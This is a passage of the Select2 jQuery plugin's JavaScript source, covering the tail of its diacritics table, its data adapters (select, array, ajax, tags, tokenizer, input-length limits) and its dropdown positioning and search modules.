'\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = ''; if (container != null) { id += container.id } else { id += Utils.generateChars(4); } id += '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 $.removeData(this, 'data'); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data $.data(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = $.data($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; $.data($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (!$.isPlainObject(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); self.container.focusOnActiveElement(); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ($request.status && $request.status === '0') { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="text" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; var resultsId = container.id + '-results'; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.attr('aria-owns', resultsId); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.removeAttr('aria-activedescendant'); self.$search.removeAttr('aria-owns'); self.$search.val(''); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.data._resultId); }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="option" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { $(this).data('select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = $(this).data('select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ ], function () { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, 